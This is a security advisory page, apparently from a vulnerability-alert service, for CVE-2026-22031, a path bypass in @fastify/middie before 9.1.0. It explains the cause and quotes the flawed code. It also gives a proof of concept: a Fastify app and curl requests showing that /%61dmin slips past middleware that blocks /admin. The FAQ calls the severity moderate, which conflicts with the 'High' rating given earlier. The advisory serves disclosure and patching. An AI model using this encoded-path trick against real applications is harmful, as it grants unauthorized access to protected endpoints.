CVE-2026-22031: Fastify Middie Middleware Path Bypass

Published Jan 19, 2026
·
Updated

@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.

Other sources

Summary A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.

Details The vulnerability is caused by how middie matches requests against registered middleware paths.

1. Regex Generation: When fastify.use('/admin', ...) is called, middie uses path-to-regexp to generate a regular expression for the path /admin. 2. Request Matching: For every request, middie executes this regular expression against req.url (or req.originalUrl). 3. The Flaw: req.url in Fastify contains the raw, undecoded path string. The generated regex expects a decoded path (e.g., /admin). If a request is sent to /%61dmin, the regex comparison fails (/^\/admin/ does not match /%61dmin). middie assumes the middleware does not apply and calls next(). 4. Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies /%61dmin as /admin and executes the corresponding route handler.

Incriminated Source Code: In the provided middie source: javascript // ... inside Holder function if (regexp) { const result = regexp.exec(url) // <--- 'url' is undecoded. if (result) { // ... executes middleware ... } else { that.done() // <--- Middleware skipped on mismatch } }

PoC Step 1: Run the following Fastify application (save as app.js): javascript const fastify = require('fastify')({ logger: true });

async function start() { // Register middie for Express-style middleware support await fastify.register(require('@fastify/middie'));

// Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); });

// Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; });

fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; });

// Start server try { await fastify.listen({ port: 3008 }); } catch (err) { fastify.log.error(err); process.exit(1); } }

start();

Step 2: Execute the attack. 1. Normal Request (Blocked): bash curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked 2. Bypass Request (Successful): bash curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}

Impact Type: Authentication/Authorization Bypass. Affected Components: Applications using @fastify/middie to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.

GitHub

Affected Software

3 affected componentsFixes available
npm/@fastify/middie<9.1.0
npm/@fastify/middie<=9.0.3
9.1.0
fastify Fastify\/middie Node.js<9.1.0

Event History

Jan 19, 2026
CVE Published
via MITRE·03:24 PM
Data Sourced
via MITRE·03:24 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:15 PM
RemedyAffected Software
Jan 20, 2026
Advisory Published
via GitHub·04:34 PM
Data Sourced
via GitHub·04:34 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-22031?

CVE-2026-22031 has a moderate severity level as it can allow path bypassing of middleware, potentially impacting application functionality.

2

How do I fix CVE-2026-22031?

To fix CVE-2026-22031, upgrade @fastify/middie to version 9.1.0 or later.

3

What versions are affected by CVE-2026-22031?

CVE-2026-22031 affects all versions of @fastify/middie prior to 9.1.0.

4

What type of vulnerability is CVE-2026-22031?

CVE-2026-22031 is a path bypass vulnerability that can occur due to inadequate handling of URL-encoded characters.

5

Can CVE-2026-22031 affect web application security?

Yes, CVE-2026-22031 can impact web application security by allowing unauthorized access to middleware functionalities.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203